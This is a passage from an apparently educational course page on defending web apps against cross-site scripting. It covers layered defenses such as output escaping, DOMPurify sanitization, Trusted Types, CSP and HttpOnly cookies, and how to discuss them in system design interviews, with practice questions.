  2. Context-aware handling at each sink: URL scheme checks, JSON escaping in script blocks, DOMPurify for the HTML that must be HTML.
  3. Trusted Types: the browser rejects strings at DOM sinks, so new bugs fail in development.
  4. Content Security Policy with nonces or hashes: injected inline scripts and handlers do not run, even when markup gets in.
  5. Limit the blast radius: HttpOnly session cookies so tokens cannot be read, re-authentication for sensitive actions such as changing the email or password, and untrusted content on a separate origin.
  6. Detect: CSP and Trusted Types violation reports, a bug bounty, and automated scanning in CI.

Check your understanding · Exercise 8

A stored XSS slips through in a comment widget. Which layers still reduce the damage? Select all that apply.

XSS in a system design interview

XSS comes up whenever a design shows content from one user to another: comments, chat, reviews, profiles, rich text editors, dashboards with user-named widgets, and anything that embeds HTML or Markdown. You do not need a separate security section. Mention it at the point in the design where user content is rendered, in one or two sentences, then move on unless the interviewer digs in.

A good short version: "Message bodies are plain text rendered with text bindings, so the framework escapes them. Links go through a scheme allowlist. If we add rich text, we store the editor's HTML, sanitize it with DOMPurify and a strict allowlist right before rendering, and enforce Trusted Types plus a nonce-based CSP as backstops. Sessions are HttpOnly cookies, and email or password changes ask for the password again."

  • Junior and mid-level: know the three kinds, know that frameworks escape text, and name dangerouslySetInnerHTML and javascript: links as the gaps.
  • Senior: escape by context, sanitize with an allowlist on output, explain why HttpOnly does not stop actions, and add CSP as a layer.
  • Staff: make the safe path the only path: one sanitizing component, lint rules, Trusted Types with a report-only rollout, user content on a separate origin, and violation reports wired to alerts.

Summary

  • XSS is outside text reaching a sink that reads it as code. The browser cannot tell the attacker's script from yours, so it gets every right your page has.
  • Once a script runs, the attacker can act as the user even with HttpOnly cookies. HttpOnly only stops the token from being read and taken away.
  • Stored, reflected, and DOM-based XSS differ in where the payload lives; in single-page apps the DOM-based kind and client-side sinks matter most.
  • Prefer safe sinks such as text bindings and textContent. When a value must go into markup, encode it for that exact context, at output time.
  • Frameworks escape text, but most do not check URLs or sanitize their HTML hatches (Angular is the exception). Check href schemes with new URL and an allowlist, and treat dangerouslySetInnerHTML like innerHTML.
  • When HTML is really needed, sanitize it in the browser with DOMPurify and a short allowlist, right before inserting, and keep the library updated.
  • Trusted Types makes the browser reject strings at DOM sinks, so all HTML creation goes through one reviewed policy. Roll it out in report-only mode first.
  • Stack the layers: safe rendering, sanitizing, Trusted Types, a strict CSP, HttpOnly cookies, re-authentication for sensitive actions, and violation reporting.

In the interview

Questions interviewers ask about this. Answer each out loud first, then compare.

Question 1

React escapes everything, so a React app cannot have XSS. True?

Question 2

Our session cookie is HttpOnly. How bad is an XSS bug for us?

Question 3

How would you let users write rich text comments safely?

Question 4

What is the difference between escaping and sanitizing, and when do you use each?

Question 5

What does Trusted Types add if we already sanitize?

Practice it

These design problems lean on cross-site scripting (xss).

References

Read next